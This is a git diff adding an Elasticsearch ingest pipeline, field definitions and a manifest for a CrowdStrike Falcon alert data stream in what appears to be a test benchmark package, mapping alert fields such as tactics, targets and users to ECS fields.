+      field: json.source_ip_isp_classification
+      tag: convert_source_ip_isp_classification_to_long
+      target_field: crowdstrike.alert.source.ip_isp_classification
+      type: long
+      if: ctx.json?.source_ip_isp_classification != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.source_ip_isp_domain
+      tag: rename_source_ip_isp_domain
+      target_field: crowdstrike.alert.source.ip_isp_domain
+      ignore_missing: true
+  - rename:
+      field: json.source_products
+      tag: rename_source_products
+      target_field: crowdstrike.alert.source_products
+      ignore_missing: true
+  - rename:
+      field: json.source_vendors
+      tag: rename_source_vendors
+      target_field: crowdstrike.alert.source_vendors
+      ignore_missing: true
+  - date:
+      field: json.start_time
+      tag: date_start_time
+      target_field: crowdstrike.alert.start_time
+      formats:
+        - ISO8601
+      if: ctx.json?.start_time != null && ctx.json.start_time != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.start
+      tag: set_event_start_from_alert_start_time
+      copy_from: crowdstrike.alert.start_time
+      ignore_empty_value: true
+  - rename:
+      field: json.status
+      tag: rename_status
+      target_field: crowdstrike.alert.status
+      ignore_missing: true
+  - rename:
+      field: json.tactic
+      tag: rename_tactic
+      target_field: crowdstrike.alert.tactic
+      ignore_missing: true
+  - append:
+      field: threat.tactic.name
+      tag: append_threat_tactic_name
+      value: '{{{crowdstrike.alert.tactic}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.tactic != null
+  - rename:
+      field: json.tactic_id
+      tag: rename_tactic_id
+      target_field: crowdstrike.alert.tactic_id
+      ignore_missing: true
+  - append:
+      field: threat.tactic.id
+      tag: append_threat_tactic_id
+      value: '{{{crowdstrike.alert.tactic_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.tactic_id != null
+  - rename:
+      field: json.tags
+      tag: rename_tags
+      target_field: crowdstrike.alert.tags
+      ignore_missing: true
+  - foreach:
+      field: crowdstrike.alert.tags
+      if: ctx.crowdstrike?.alert?.tags instanceof List
+      processor:
+        append:
+          field: tags
+          tag: append_alert_tags_into_tags
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.target_endpoint_host_name
+      tag: rename_target_endpoint_host_name
+      target_field: crowdstrike.alert.target.endpoint_host_name
+      ignore_missing: true
+  - set:
+      field: destination.domain
+      tag: set_destination_domain_from_alert_target_endpoint_host_name
+      copy_from: crowdstrike.alert.target.endpoint_host_name
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_destination_domain_into_related_hosts
+      value: '{{{destination.domain}}}'
+      allow_duplicates: false
+      if: ctx.destination?.domain != null
+  - rename:
+      field: json.target_domain_controller_host_name
+      tag: rename_target_domain_controller_host_name
+      target_field: crowdstrike.alert.target.domain_controller_host_name
+      ignore_missing: true
+  - set:
+      field: destination.user.domain
+      tag: set_destination_user_domain_from_alert_target_domain_controller_host_name
+      copy_from: crowdstrike.alert.target.domain_controller_host_name
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_destination_user_domain_into_related_hosts
+      value: '{{{destination.user.domain}}}'
+      allow_duplicates: false
+      if: ctx.destination?.user?.domain != null
+  - rename:
+      field: json.target_account_name
+      tag: rename_target_account_name
+      target_field: crowdstrike.alert.target.account_name
+      ignore_missing: true
+  - set:
+      field: destination.user.name
+      tag: set_destination_user_name_from_alert_target_account_name
+      copy_from: crowdstrike.alert.target.account_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_destination_user_name_into_related_user
+      value: '{{{destination.user.name}}}'
+      allow_duplicates: false
+      if: ctx.destination?.user?.name != null
+  - rename:
+      field: json.target_domain_controller_object_guid
+      tag: rename_target_domain_controller_object_guid
+      target_field: crowdstrike.alert.target.domain_controller_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.target_domain_controller_object_sid
+      tag: rename_target_domain_controller_object_sid
+      target_field: crowdstrike.alert.target.domain_controller_object_sid
+      ignore_missing: true
+  - rename:
+      field: json.target_endpoint_account_object_guid
+      tag: rename_target_endpoint_account_object_guid
+      target_field: crowdstrike.alert.target.endpoint_account_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.target_endpoint_account_object_sid
+      tag: rename_target_endpoint_account_object_sid
+      target_field: crowdstrike.alert.target.endpoint_account_object_sid
+      ignore_missing: true
+  - rename:
+      field: json.target_endpoint_sensor_id
+      tag: rename_target_endpoint_sensor_id
+      target_field: crowdstrike.alert.target.endpoint_sensor_id
+      ignore_missing: true
+  - rename:
+      field: json.target_service_access_identifier
+      tag: rename_target_service_access_identifier
+      target_field: crowdstrike.alert.target.service_access_identifier
+      ignore_missing: true
+  - rename:
+      field: json.technique
+      tag: rename_technique
+      target_field: crowdstrike.alert.technique
+      ignore_missing: true
+  - append:
+      field: threat.technique.name
+      tag: append_threat_technique_name
+      value: '{{{crowdstrike.alert.technique}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.technique != null
+  - rename:
+      field: json.technique_id
+      tag: rename_technique_id
+      target_field: crowdstrike.alert.technique_id
+      ignore_missing: true
+  - append:
+      field: threat.technique.id
+      tag: append_threat_technique_id
+      value: '{{{crowdstrike.alert.technique_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.technique_id != null
+  - set:
+      field: threat.framework
+      value: CrowdStrike Falcon Detections Framework
+      tag: set_threat_framework_cs
+      description: For Crowdstrike Falcon Detection tactics and/or that are prefixed with "CS"
+      if: >- 
+        (ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("CS"))
+        || (ctx.crowdstrike?.alert?.technique_id != null && ctx.crowdstrike.alert.technique_id.startsWith("CS"))
+        || (ctx.crowdstrike?.alert?.tactic != null && ['malware','exploit','post-exploit','machine learning','custom intelligence','falcon overwatch','falcon intel','ai powered ioa','insecure security posture'].contains(ctx.crowdstrike.alert.tactic.toLowerCase()))
+  - set:
+      field: threat.framework
+      value: MITRE ATT&CK
+      tag: set_threat_framework_mitre
+      if: ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("TA")
+  - rename:
+      field: json.template_instance_id
+      tag: rename_template_instance_id
+      target_field: crowdstrike.alert.template_instance_id
+      ignore_missing: true
+  - date:
+      field: json.timestamp
+      tag: date_timestamp
+      target_field: crowdstrike.alert.timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.timestamp != null && ctx.json.timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: '@timestamp'
+      tag: set_@timestamp_from_alert_timestamp
+      copy_from: crowdstrike.alert.timestamp
+      ignore_empty_value: true
+  - rename:
+      field: json.tree_id
+      tag: rename_tree_id
+      target_field: crowdstrike.alert.tree_id
+      ignore_missing: true
+  - rename:
+      field: json.tree_root
+      tag: rename_tree_root
+      target_field: crowdstrike.alert.tree_root
+      ignore_missing: true
+  - rename:
+      field: json.triggering_process_graph_id
+      tag: rename_triggering_process_graph_id
+      target_field: crowdstrike.alert.triggering_process_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.type
+      tag: rename_type
+      target_field: crowdstrike.alert.type
+      ignore_missing: true
+  - rename:
+      field: json.rule_group_id
+      tag: rename_rule_group_id
+      target_field: crowdstrike.alert.rule_group_id
+      ignore_missing: true
+  - rename:
+      field: json.rule_group_name
+      tag: rename_rule_group_name
+      target_field: crowdstrike.alert.rule_group_name
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_created_by
+      tag: rename_rule_instance_created_by
+      target_field: crowdstrike.alert.rule_instance_created_by
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_id
+      tag: rename_rule_instance_id
+      target_field: crowdstrike.alert.rule_instance_id
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_name
+      tag: rename_rule_instance_name
+      target_field: crowdstrike.alert.rule_instance_name
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_version
+      tag: rename_rule_instance_version
+      target_field: crowdstrike.alert.rule_instance_version
+      ignore_missing: true
+  - rename:
+      field: json.overwatch_note
+      tag: rename_overwatch_note
+      target_field: crowdstrike.alert.overwatch_note
+      ignore_missing: true
+  - date:
+      field: json.overwatch_note_timestamp
+      tag: date_overwatch_note_timestamp
+      target_field: crowdstrike.alert.overwatch_note_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.overwatch_note_timestamp != null && ctx.json.updated_timestamp != ''
+      ignore_failure: true
+  - date:
+      field: json.updated_timestamp
+      tag: date_updated_timestamp
+      target_field: crowdstrike.alert.updated_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.updated_timestamp != null && ctx.json.updated_timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.user_id
+      tag: rename_user_id
+      target_field: crowdstrike.alert.user_id
+      ignore_missing: true
+  - set:
+      field: user.id
+      tag: set_user_id_from_alert_user_id
+      copy_from: crowdstrike.alert.user_id
+      ignore_empty_value: true
+  - rename:
+      field: json.user_name
+      tag: rename_user_name
+      target_field: crowdstrike.alert.user_name
+      ignore_missing: true
+  - set:
+      field: user.name
+      tag: set_user_name_from_alert_user_name
+      copy_from: crowdstrike.alert.user_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_user_id_into_related_user
+      value: '{{{user.id}}}'
+      allow_duplicates: false
+      if: ctx.user?.id != null
+  - append:
+      field: related.user
+      tag: append_user_name_into_related_user
+      value: '{{{user.name}}}'
+      allow_duplicates: false
+      if: ctx.user?.name != null
+  - rename:
+      field: json.user_principal
+      tag: rename_user_principal
+      target_field: crowdstrike.alert.user_principal
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_crowdstrike_alert_user_principal_into_related_user
+      value: '{{{crowdstrike.alert.user_principal}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.user_principal != null
+
+  - grok:
+      field: crowdstrike.alert.name
+      patterns:
+        - "%{NOTSPACE:_username_from_name} on %{NOTSPACE:_hostname_from_name}"
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      field: user.name
+      copy_from: _username_from_name
+      if: ctx.user?.name == null || ctx.user.name == ''
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      value: '{{{_username_from_name}}}'
+      allow_duplicates: false
+      if: ctx._username_from_name != null && ctx._username_from_name != ''
+  - set:
+      field: host.name
+      copy_from: _hostname_from_name
+      if: ctx.host?.name == null || ctx.host.name == ''
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      value: '{{{_hostname_from_name}}}'
+      allow_duplicates: false
+      if: ctx._hostname_from_name != null && ctx._hostname_from_name != ''
+  - remove:
+      field:
+        - _username_from_name
+        - _hostname_from_name
+      ignore_missing: true
+
+  - fingerprint:
+      fields:
+        - event.id
+        - crowdstrike.alert.cid
+        - crowdstrike.alert.indicator_id
+        - crowdstrike.alert.updated_timestamp
+      target_field: _id
+      ignore_missing: true
+  - remove:
+      field:
+        - crowdstrike.alert.agent_id
+        - crowdstrike.alert.command_line
+        - crowdstrike.alert.description
+        - crowdstrike.alert.device.device_id
+        - crowdstrike.alert.device.external_ip
+        - crowdstrike.alert.device.hostinfo.domain
+        - crowdstrike.alert.device.hostname
+        - crowdstrike.alert.device.local_ip
+        - crowdstrike.alert.device.mac_address
+        - crowdstrike.alert.device.os_version
+        - crowdstrike.alert.device.platform_name
+        - crowdstrike.alert.device.system_manufacturer
+        - crowdstrike.alert.device.system_product_name
+        - crowdstrike.alert.device.tags
+        - crowdstrike.alert.end_time
+        - crowdstrike.alert.filename
+        - crowdstrike.alert.filepath
+        - crowdstrike.alert.host_name
+        - crowdstrike.alert.host_type
+        - crowdstrike.alert.id
+        - crowdstrike.alert.idp_policy_rule.id
+        - crowdstrike.alert.idp_policy_rule.name
+        - crowdstrike.alert.image_file_name
+        - crowdstrike.alert.location_country_code
+        - crowdstrike.alert.md5
+        - crowdstrike.alert.operating_system
+        - crowdstrike.alert.os_name
+        - crowdstrike.alert.parent_details.cmdline
+        - crowdstrike.alert.parent_details.filename
+        - crowdstrike.alert.parent_details.filepath
+        - crowdstrike.alert.parent_details.md5
+        - crowdstrike.alert.parent_details.sha256
+        - crowdstrike.alert.parent_details.user_id
+        - crowdstrike.alert.parent_details.user_name
+        - crowdstrike.alert.parent_process_id
+        - crowdstrike.alert.process_end_time
+        - crowdstrike.alert.process_id
+        - crowdstrike.alert.process_start_time
+        - crowdstrike.alert.severity
+        - crowdstrike.alert.sha1
+        - crowdstrike.alert.sha256
+        - crowdstrike.alert.source.account_azure_id
+        - crowdstrike.alert.source.account_domain
+        - crowdstrike.alert.source.account_name
+        - crowdstrike.alert.source.endpoint_host_name
+        - crowdstrike.alert.source.endpoint_ip_address
+        - crowdstrike.alert.start_time
+        - crowdstrike.alert.tactic
+        - crowdstrike.alert.tags
+        - crowdstrike.alert.target.account_name
+        - crowdstrike.alert.target.domain_controller_host_name
+        - crowdstrike.alert.target.endpoint_host_name
+        - crowdstrike.alert.technique
+        - crowdstrike.alert.timestamp
+        - crowdstrike.alert.user_id
+        - crowdstrike.alert.user_name
+      tag: remove_custom_duplicate_fields
+      ignore_missing: true
+      if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))
+  - remove:
+      field: json
+      tag: remove_json
+      ignore_missing: true
+  - script:
+      lang: painless
+      description: Drops null/empty values recursively.
+      tag: painless_remove_null
+      source: |-
+        boolean drop(Object object) {
+          if (object == null || object == '') {
+            return true;
+          } else if (object instanceof Map) {
+            ((Map) object).values().removeIf(v -> drop(v));
+            return (((Map) object).size() == 0);
+          } else if (object instanceof List) {
+            ((List) object).removeIf(v -> drop(v));
+            return (((List) object).length == 0);
+          }
+          return false;
+        }
+        drop(ctx);
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_to_event_kind_processor
+      value: pipeline_error
+      if: ctx.error?.message != null
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+      if: ctx.error?.message != null
+on_failure:
+  - append:
+      field: error.message
+      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_to_event_kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
new file mode 100644
index 0000000000..a93aca0ee9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
@@ -0,0 +1,20 @@
+- name: data_stream.type
+  type: constant_keyword
+  description: Data stream type.
+- name: data_stream.dataset
+  type: constant_keyword
+  description: Data stream dataset.
+- name: data_stream.namespace
+  type: constant_keyword
+  description: Data stream namespace.
+- name: event.module
+  type: constant_keyword
+  description: Event module.
+  value: crowdstrike
+- name: event.dataset
+  type: constant_keyword
+  description: Event dataset.
+  value: crowdstrike.alert
+- name: '@timestamp'
+  type: date
+  description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
new file mode 100644
index 0000000000..4084f1dc7f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
@@ -0,0 +1,6 @@
+- name: input.type
+  type: keyword
+  description: Type of filebeat input.
+- name: log.offset
+  type: long
+  description: Log offset.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
new file mode 100644
index 0000000000..bdc73a9cb9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
@@ -0,0 +1,9 @@
+# Remove this file when kibana.version satisfied ^8.14.
+- name: threat.tactic.id
+  external: ecs
+- name: threat.technique.id
+  external: ecs
+- name: threat.framework
+  external: ecs
+- name: tags
+  external: ecs
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
new file mode 100644
index 0000000000..2e8a6952ca
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
@@ -0,0 +1,620 @@
+- name: crowdstrike
+  type: group
+  fields:
+    - name: alert
+      type: group
+      fields:
+        - name: active_directory_authentication_method
+          type: long
+        - name: activity
+          type: group
+          fields:
+            - name: browser
+              type: keyword
+            - name: device
+              type: keyword
+            - name: id
+              type: keyword
+            - name: os
+              type: keyword
+        - name: agent_id
+          type: keyword
+        - name: agent_scan_id
+          type: keyword
+        - name: aggregate_id
+          type: keyword
+        - name: alert_attributes
+          type: long
+        - name: alleged_filetype
+          type: keyword
+        - name: assigned_to
+          type: group
+          fields:
+            - name: name
+              type: keyword
+            - name: uid
+              type: keyword
+            - name: uuid
+              type: keyword
+        - name: associated_files
+          type: group
+          fields:
+            - name: filepath
+              type: keyword
+            - name: sha256
+              type: keyword
+        - name: child_process_ids
+          type: keyword
+        - name: cid
+          type: keyword
+        - name: cloud_indicator
+          type: boolean
+        - name: cmdline
+          type: keyword
+        - name: command_line
+          type: keyword
+        - name: comment
+          type: keyword
+        - name: composite_id
+          type: keyword
+        - name: confidence
+          type: long
+        - name: context_timestamp
+          type: date
+        - name: control_graph_id
+          type: keyword
+        - name: crawl_edge_ids
+          type: group
+          fields:
+            - name: Sensor
+              type: keyword
+        - name: crawl_vertex_ids
+          type: group
+          fields:
+            - name: Sensor
+              type: keyword
+        - name: crawled_timestamp
+          type: date
+        - name: created_timestamp
+          type: date
+        - name: data_domains
+          type: keyword
+        - name: description
+          type: keyword
+        - name: detect_type
+          type: keyword
+        - name: device
+          type: group
+          fields:
+            - name: agent_load_flags
+              type: long
+            - name: agent_local_time
+              type: date
+            - name: agent_version
+              type: keyword
+            - name: bios_manufacturer
+              type: keyword
+            - name: bios_version
+              type: keyword
+            - name: cid
+              type: keyword
+            - name: config_id_base
+              type: keyword
+            - name: config_id_build
+              type: keyword
+            - name: config_id_platform
+              type: long
+            - name: external_ip
+              type: ip
+            - name: first_seen
+              type: date
+            - name: groups
+              type: keyword
+            - name: hostinfo
+              type: group
+              fields:
+                - name: active_directory_dn_display
+                  type: keyword
+                - name: domain
+                  type: keyword
+            - name: hostname
+              type: keyword
+            - name: id
+              type: keyword
+            - name: last_seen
+              type: date
+            - name: local_ip
+              type: ip
+            - name: mac_address
+              type: keyword
+            - name: machine_domain
+              type: keyword
+            - name: major_version
+              type: keyword
+            - name: minor_version
+              type: keyword
+            - name: modified_timestamp
+              type: date
+            - name: os_version
+              type: keyword
+            - name: ou
+              type: keyword
+            - name: platform_id
+              type: keyword
+            - name: platform_name
+              type: keyword
+            - name: pod_labels
+              type: keyword
+            - name: product_type
+              type: keyword
+            - name: product_type_desc
+              type: keyword
+            - name: site_name
+              type: keyword
+            - name: status
+              type: keyword
+            - name: system_manufacturer
+              type: keyword
+            - name: system_product_name
+              type: keyword
+            - name: tags
+              type: keyword
+        - name: display_name
+          type: keyword
+        - name: documents_accessed
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: email_sent
+          type: boolean
+        - name: end_time
+          type: date
+        - name: event_id
+          type: keyword
+        - name: executables_written
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: falcon_host_link
+          type: keyword
+        - name: file_writes
+          type: group
+          fields:
+            - name: name
+              type: keyword
+            - name: sha256
+              type: keyword
+        - name: filename
+          type: keyword
+        - name: filepath
+          type: keyword
+        - name: files_accessed
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: files_written
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: global_prevalence
+          type: keyword
+        - name: grandparent_details
+          type: group
+          fields:
+            - name: cmdline
+              type: keyword
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: local_process_id
+              type: keyword
+            - name: md5
+              type: keyword
+            - name: process_graph_id
+              type: keyword
+            - name: process_id
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: timestamp
+              type: date
+            - name: user_graph_id
+              type: keyword
+            - name: user_id
+              type: keyword
+            - name: user_name
+              type: keyword
+        - name: has_script_or_module_ioc
+          type: boolean
+        - name: host_name
+          type: keyword
+        - name: host_type
+          type: keyword
+        - name: id
+          type: keyword
+        - name: idp_policy
+          type: group
+          fields:
+            - name: enforced_externally
+              type: long
+            - name: mfa_factor_type
+              type: long
+            - name: mfa_provider
+              type: long
+            - name: rule_action
+              type: long
+            - name: rule_trigger
+              type: long
+            - name: rule_id
+              type: keyword
+            - name: rule_name
+              type: keyword
+        - name: image_file_name
+          type: keyword
+        - name: incident
+          type: group
+          fields:
+            - name: created
+              type: date
+            - name: end
+              type: date
+            - name: id
+              type: keyword
+            - name: score
+              type: double
+            - name: start
+              type: date
+        - name: indicator_id
+          type: keyword
+        - name: ioc_context
+          type: group
+          fields:
+            - name: cmdline
+              type: keyword
+            - name: ioc_description
+              type: keyword
+            - name: ioc_source
+              type: keyword
+            - name: ioc_type
+              type: keyword
+            - name: ioc_value
+              type: keyword
+            - name: md5
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: type
+              type: keyword
+        - name: ioc_description
+          type: keyword
+        - name: ioc_source
+          type: keyword
+        - name: ioc_type
+          type: keyword
+        - name: ioc_value
+          type: keyword
+        - name: ioc_values
+          type: keyword
+        - name: is_synthetic_quarantine_disposition
+          type: boolean
+        - name: ldap_search_query_attack
+          type: long
+        - name: local_prevalence
+          type: keyword
+        - name: local_process_id
+          type: keyword
+        - name: location_country_code
+          type: keyword
+        - name: location_latitude_as_int
+          type: long
+        - name: location_longitude_as_int
+          type: long
+        - name: logon_domain
+          type: keyword
+        - name: md5
+          type: keyword
+        - name: model_anomaly_indicators
+          type: keyword
+        - name: name
+          type: keyword
+        - name: network_accesses
+          type: group
+          fields:
+            - name: access_timestamp
+              type: date
+            - name: access_type
+              type: long
+            - name: connection_direction
+              type: keyword
+            - name: isIPV6
+              type: boolean
+            - name: local_address
+              type: ip
+            - name: local_port
+              type: long
+            - name: protocol
+              type: keyword
+            - name: remote_address
+              type: ip
+            - name: remote_port
+              type: long
+        - name: objective
+          type: keyword
+        - name: operating_system
+          type: keyword
+        - name: os_name
+          type: keyword
+        - name: overwatch_note
+          type: keyword
+        - name: overwatch_note_timestamp
+          type: date
+        - name: parent_details
+          type: group
+          fields:
+            - name: cmdline
+              type: keyword
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: local_process_id
+              type: keyword
+            - name: md5
+              type: keyword
+            - name: process_graph_id
+              type: keyword
+            - name: process_id
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: timestamp
+              type: date
+            - name: user_graph_id
+              type: keyword
+            - name: user_id
+              type: keyword
+            - name: user_name
+              type: keyword
+        - name: parent_process_id
+          type: keyword
+        - name: pattern_disposition
+          type: long
+        - name: pattern_disposition_description
+          type: keyword
+        - name: pattern_disposition_details
+          type: group
+          fields:
+            - name: blocking_unsupported_or_disabled
+              type: boolean
+            - name: bootup_safeguard_enabled
+              type: boolean
+            - name: containment_file_system
+              type: boolean
+            - name: critical_process_disabled
+              type: boolean
+            - name: detect
+              type: boolean
+            - name: fs_operation_blocked
+              type: boolean
+            - name: handle_operation_downgraded
+              type: boolean
+            - name: inddet_mask
+              type: boolean
+            - name: indicator
+              type: boolean
+            - name: kill_action_failed
+              type: boolean
+            - name: kill_parent
+              type: boolean
+            - name: kill_process
+              type: boolean
+            - name: kill_subprocess
+              type: boolean
+            - name: mfa_required
+              type: boolean
+            - name: operation_blocked
+              type: boolean
+            - name: policy_disabled
+              type: boolean
+            - name: prevention_provisioning_enabled
+              type: boolean
+            - name: process_blocked
+              type: boolean
+            - name: quarantine_file
+              type: boolean
+            - name: quarantine_machine
+              type: boolean
+            - name: registry_operation_blocked
+              type: boolean
+            - name: response_action_already_applied
+              type: boolean
+            - name: response_action_failed
+              type: boolean
+            - name: response_action_triggered
+              type: boolean
+            - name: rooting
+              type: boolean
+            - name: sensor_only
+              type: boolean
+            - name: suspend_parent
+              type: boolean
+            - name: suspend_process
+              type: boolean
+        - name: pattern_id
+          type: keyword
+        - name: platform
+          type: keyword
+        - name: poly_id
+          type: keyword
+        - name: prevented
+          type: boolean
+        - name: process_end_time
+          type: date
+        - name: process_id
+          type: keyword
+        - name: process_start_time
+          type: date
+        - name: product
+          type: keyword
+        - name: protocol_anomaly_classification
+          type: long
+        - name: quarantined
+          type: boolean
+        - name: quarantined_files
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: id
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: state
+              type: keyword
+        - name: rule_group_id
+          type: keyword
+        - name: rule_group_name
+          type: keyword
+        - name: rule_instance_created_by
+          type: keyword
+        - name: rule_instance_id
+          type: keyword
+        - name: rule_instance_name
+          type: keyword
+        - name: rule_instance_version
+          type: keyword
+        - name: scan_id
+          type: keyword
+        - name: scenario
+          type: keyword
+        - name: seconds_to_resolved
+          type: long
+        - name: seconds_to_triaged
+          type: long
+        - name: severity
+          type: long
+        - name: severity_name
+          type: keyword
+        - name: sha1
+          type: keyword
+        - name: sha256
+          type: keyword
+        - name: show_in_ui
+          type: boolean
+        - name: source
+          type: group
+          fields:
+            - name: account_azure_id
+              type: keyword
+            - name: account_domain
+              type: keyword
+            - name: account_name
+              type: keyword
+            - name: account_object_guid
+              type: keyword
+            - name: account_object_sid
+              type: keyword
+            - name: account_sam_account_name
+              type: keyword
+            - name: account_upn
+              type: keyword
+            - name: endpoint_account_object_guid
+              type: keyword
+            - name: endpoint_account_object_sid
+              type: keyword
+            - name: endpoint_address_ip4
+              type: ip
+            - name: endpoint_host_name
+              type: keyword
+            - name: endpoint_ip_address
+              type: ip
+            - name: endpoint_ip_reputation
+              type: long
+            - name: endpoint_sensor_id
+              type: keyword
+            - name: ip_isp_classification
+              type: long
+            - name: ip_isp_domain
+              type: keyword
+        - name: source_products
+          type: keyword
+        - name: source_vendors
+          type: keyword
+        - name: start_time
+          type: date
+        - name: status
+          type: keyword
+        - name: tactic
+          type: keyword
+        - name: tactic_id
+          type: keyword
+        - name: tags
+          type: keyword
+        - name: target
+          type: group
+          fields:
+            - name: account_name
+              type: keyword
+            - name: domain_controller_host_name
+              type: keyword
+            - name: domain_controller_object_guid
+              type: keyword
+            - name: domain_controller_object_sid
+              type: keyword
+            - name: endpoint_account_object_guid
+              type: keyword
+            - name: endpoint_account_object_sid
+              type: keyword
+            - name: endpoint_host_name
+              type: keyword
+            - name: endpoint_sensor_id
+              type: keyword
+            - name: service_access_identifier
+              type: keyword
+        - name: technique
+          type: keyword
+        - name: technique_id
+          type: keyword
+        - name: template_instance_id
+          type: keyword
+        - name: timestamp
+          type: date
+        - name: tree_id
+          type: keyword
+        - name: tree_root
+          type: keyword
+        - name: triggering_process_graph_id
+          type: keyword
+        - name: type
+          type: keyword
+        - name: updated_timestamp
+          type: date
+        - name: user_id
+          type: keyword
+        - name: user_name
+          type: keyword
+        - name: user_principal
+          type: keyword
+        - name: worker_node_name
+          type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
new file mode 100644
index 0000000000..3849521166
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
@@ -0,0 +1,94 @@
+title: Collect Alert logs from CrowdStrike.
+type: logs
+streams:
+  - input: cel
+    title: Falcon Alerts
+    description: Collect Unified Alerts from CrowdStrike Falcon Intelligence.
+    enabled: false
+    template_path: cel.yml.hbs
+    vars:
+      - name: initial_interval
+        type: text
+        title: Initial Interval
+        description: How far back to pull the Alert logs from CrowdStrike. Supported units for this parameter are h/m/s.
+        multi: false
+        required: true
+        show_user: true
+        default: 24h
+      - name: interval
+        type: text
+        title: Interval
+        description: Duration between requests to the CrowdStrike API. By default, differential data is pulled once per day. Supported units for this parameter are h/m/s.
+        default: 24h
+        multi: false
+        required: true
+        show_user: true
+      - name: batch_size
+        type: integer
+        title: Batch Size
+        description: Batch size for the response of the CrowdStrike API. It must be between 1 - 1000.
+        default: 1000
+        multi: false
+        required: true
+        show_user: false
+      - name: http_client_timeout
+        type: text
